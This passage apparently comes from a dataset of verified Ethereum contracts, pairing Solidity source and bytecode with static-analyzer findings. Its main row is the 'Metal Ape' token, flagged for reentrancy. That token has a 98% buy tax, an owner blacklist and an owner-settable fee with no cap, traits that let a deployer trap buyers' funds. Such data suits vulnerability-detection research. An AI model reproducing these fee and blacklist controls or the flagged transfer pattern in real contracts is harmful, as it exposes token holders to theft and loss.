3b514c9f8165b4ab7f2b1805e868442610c956108d7565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b33600160a060020a03811660009081526003602052604081205490811115610cf357610cf381610b4c565b610cfb610740565b5050565b60006108a83483610385565b600080600080610d1b600161086b565b11610d2557600080fd5b610d2f600061086b565b33600160a060020a038116600090815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d7b908490610385565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610dd95760009150610df5565b50828202828482811515610de957fe5b0414610df157fe5b8091505b5092915050565b6000808284811515610e0a57fe5b04949350505050565b600082821115610e1f57fe5b50900390565b6006546000906e0171c74f0225d029aa2acb000000009082906001610e9b610e956f01812f9cf7920e2b66973e200000000088026002850a016e02e38e9e044ba053545596000000008502017c0216202cf01ebb35186c793ffae0d82ab1e2c33cf9000000000000000001610f15565b85610e13565b811515610ea457fe5b0403949350505050565b600082820183811015610df157fe5b600654600090670de0b6b3a7640000838101918101908390610f02661aa535d3d0bfff8285040187026002670de0b6b3a763ffff1981880a8a90030184900404610e13565b811515610f0b57fe5b0495945050505050565b80600260018201045b818110156108a8578091506002818285811515610f3757fe5b0401811515610f4257fe5b049050610f1e5600a165627a7a723058206bebee1d8078fae97476cb16ab74eac1599ce1c459d1d52afb6b9ae0206d54880029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 830 |
0x00c8f9972f4916a0e6e5b50429a4e41d79688348 | /**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
/*
Forged in Titanium metal
https://t.me/metalape
https://twitter.com/Metal_Ape_
https://www.metal-ape.com/
Caution-
Do not Snipe Buy the Token, 98% Buy Tax at launch for Bots
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract metalape is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Metal Ape";
string private constant _symbol = "Metal Ape";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 98;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xD7221E71d615076Ac4f1dC0635B9e6BF1625Aa2e);
address payable private _marketingAddress = payable(0xD7221E71d615076Ac4f1dC0635B9e6BF1625Aa2e);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b8063a2a957bb1461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b41146101fe57806398a5c3151461047f57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192e565b6105ca565b005b34801561020a57600080fd5b5060408051808201825260098152684d6574616c2041706560b81b6020820152905161023691906119f3565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a48565b610669565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611a74565b610680565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610236565b34801561032a57600080fd5b5060155461028f906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ab5565b6106e9565b34801561036a57600080fd5b506101fc610379366004611ae2565b610734565b34801561038a57600080fd5b506101fc61077c565b34801561039f57600080fd5b506102be6103ae366004611ab5565b6107c7565b3480156103bf57600080fd5b506101fc6107e9565b3480156103d457600080fd5b506101fc6103e3366004611afd565b61085d565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611ab5565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028f565b34801561045557600080fd5b506101fc610464366004611ae2565b61088c565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b506101fc61049a366004611afd565b6108d4565b3480156104ab57600080fd5b506101fc6104ba366004611b16565b610903565b3480156104cb57600080fd5b5061025f6104da366004611a48565b610941565b3480156104eb57600080fd5b5061025f6104fa366004611ab5565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc61094e565b34801561053057600080fd5b506101fc61053f366004611b48565b6109a2565b34801561055057600080fd5b506102be61055f366004611bcc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101fc6105a5366004611afd565b610a43565b3480156105b657600080fd5b506101fc6105c5366004611ab5565b610a72565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611c05565b60405180910390fd5b60005b81518110156106655760016010600084848151811061062157610621611c3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065d81611c66565b915050610600565b5050565b6000610676338484610b5c565b5060015b92915050565b600061068d848484610c80565b6106df84336106da85604051806060016040528060288152602001611d80602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bc565b610b5c565b5060019392505050565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105f490611c05565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075e5760405162461bcd60e51b81526004016105f490611c05565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b157506013546001600160a01b0316336001600160a01b0316145b6107ba57600080fd5b476107c4816111f6565b50565b6001600160a01b03811660009081526002602052604081205461067a90611230565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016105f490611c05565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016105f490611c05565b601655565b6000546001600160a01b031633146108b65760405162461bcd60e51b81526004016105f490611c05565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016105f490611c05565b601855565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016105f490611c05565b600893909355600a91909155600955600b55565b6000610676338484610c80565b6012546001600160a01b0316336001600160a01b0316148061098357506013546001600160a01b0316336001600160a01b0316145b61098c57600080fd5b6000610997306107c7565b90506107c4816112b4565b6000546001600160a01b031633146109cc5760405162461bcd60e51b81526004016105f490611c05565b60005b82811015610a3d5781600560008686858181106109ee576109ee611c3a565b9050602002016020810190610a039190611ab5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3581611c66565b9150506109cf565b50505050565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016105f490611c05565b601755565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016105f490611c05565b6001600160a01b038116610b015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610d465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610da85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610dd457506000546001600160a01b03838116911614155b156110b557601554600160a01b900460ff16610e6d576000546001600160a01b03848116911614610e6d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b601654811115610ebf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0157506001600160a01b03821660009081526010602052604090205460ff16155b610f595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b03838116911614610fde5760175481610f7b846107c7565b610f859190611c81565b10610fde5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000610fe9306107c7565b6018546016549192508210159082106110025760165491505b8080156110195750601554600160a81b900460ff16155b801561103357506015546001600160a01b03868116911614155b80156110485750601554600160b01b900460ff165b801561106d57506001600160a01b03851660009081526005602052604090205460ff16155b801561109257506001600160a01b03841660009081526005602052604090205460ff16155b156110b2576110a0826112b4565b4780156110b0576110b0476111f6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f757506001600160a01b03831660009081526005602052604090205460ff165b8061112957506015546001600160a01b0385811691161480159061112957506015546001600160a01b03848116911614155b15611136575060006111b0565b6015546001600160a01b03858116911614801561116157506014546001600160a01b03848116911614155b1561117357600854600c55600954600d555b6015546001600160a01b03848116911614801561119e57506014546001600160a01b03858116911614155b156111b057600a54600c55600b54600d555b610a3d8484848461143d565b600081848411156111e05760405162461bcd60e51b81526004016105f491906119f3565b5060006111ed8486611c99565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610665573d6000803e3d6000fd5b60006006548211156112975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b60006112a161146b565b90506112ad838261148e565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fc576112fc611c3a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135057600080fd5b505afa158015611364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113889190611cb0565b8160018151811061139b5761139b611c3a565b6001600160a01b0392831660209182029290920101526014546113c19130911684610b5c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fa908590600090869030904290600401611ccd565b600060405180830381600087803b15801561141457600080fd5b505af1158015611428573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144a5761144a6114d0565b6114558484846114fe565b80610a3d57610a3d600e54600c55600f54600d55565b60008060006114786115f5565b9092509050611487828261148e565b9250505090565b60006112ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611635565b600c541580156114e05750600d54155b156114e757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151087611663565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154290876116c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115719086611702565b6001600160a01b03891660009081526002602052604090205561159381611761565b61159d84836117ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611610828261148e565b82101561162c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116565760405162461bcd60e51b81526004016105f491906119f3565b5060006111ed8486611d3e565b60008060008060008060008060006116808a600c54600d546117cf565b925092509250600061169061146b565b905060008060006116a38e878787611824565b919e509c509a509598509396509194505050505091939550919395565b60006112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b60008061170f8385611c81565b9050838110156112ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b600061176b61146b565b905060006117798383611874565b306000908152600260205260409020549091506117969082611702565b30600090815260026020526040902055505050565b6006546117b890836116c0565b6006556007546117c89082611702565b6007555050565b60008080806117e960646117e38989611874565b9061148e565b905060006117fc60646117e38a89611874565b905060006118148261180e8b866116c0565b906116c0565b9992985090965090945050505050565b60008080806118338886611874565b905060006118418887611874565b9050600061184f8888611874565b905060006118618261180e86866116c0565b939b939a50919850919650505050505050565b6000826118835750600061067a565b600061188f8385611d60565b90508261189c8583611d3e565b146112ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b803561192981611909565b919050565b6000602080838503121561194157600080fd5b823567ffffffffffffffff8082111561195957600080fd5b818501915085601f83011261196d57600080fd5b81358181111561197f5761197f6118f3565b8060051b604051601f19603f830116810181811085821117156119a4576119a46118f3565b6040529182528482019250838101850191888311156119c257600080fd5b938501935b828510156119e7576119d88561191e565b845293850193928501926119c7565b98975050505050505050565b600060208083528351808285015260005b81811015611a2057858101830151858201604001528201611a04565b81811115611a32576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5b57600080fd5b8235611a6681611909565b946020939093013593505050565b600080600060608486031215611a8957600080fd5b8335611a9481611909565b92506020840135611aa481611909565b929592945050506040919091013590565b600060208284031215611ac757600080fd5b81356112ad81611909565b8035801515811461192957600080fd5b600060208284031215611af457600080fd5b6112ad82611ad2565b600060208284031215611b0f57600080fd5b5035919050565b60008060008060808587031215611b2c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5d57600080fd5b833567ffffffffffffffff80821115611b7557600080fd5b818601915086601f830112611b8957600080fd5b813581811115611b9857600080fd5b8760208260051b8501011115611bad57600080fd5b602092830195509350611bc39186019050611ad2565b90509250925092565b60008060408385031215611bdf57600080fd5b8235611bea81611909565b91506020830135611bfa81611909565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7a57611c7a611c50565b5060010190565b60008219821115611c9457611c94611c50565b500190565b600082821015611cab57611cab611c50565b500390565b600060208284031215611cc257600080fd5b81516112ad81611909565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1d5784516001600160a01b031683529383019391830191600101611cf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7a57611d7a611c50565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204df6202ed76fbb770cc30dc0845ddb3782487073012e642ad16651f37fb46c0964736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 831 |
0x103396c52f2dc9fd4183ee16496da142eb3e37a4 | /**
*Submitted for verification at Etherscan.io on 2021-05-25
*/
// SPDX-License-Identifier: MIT
//
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
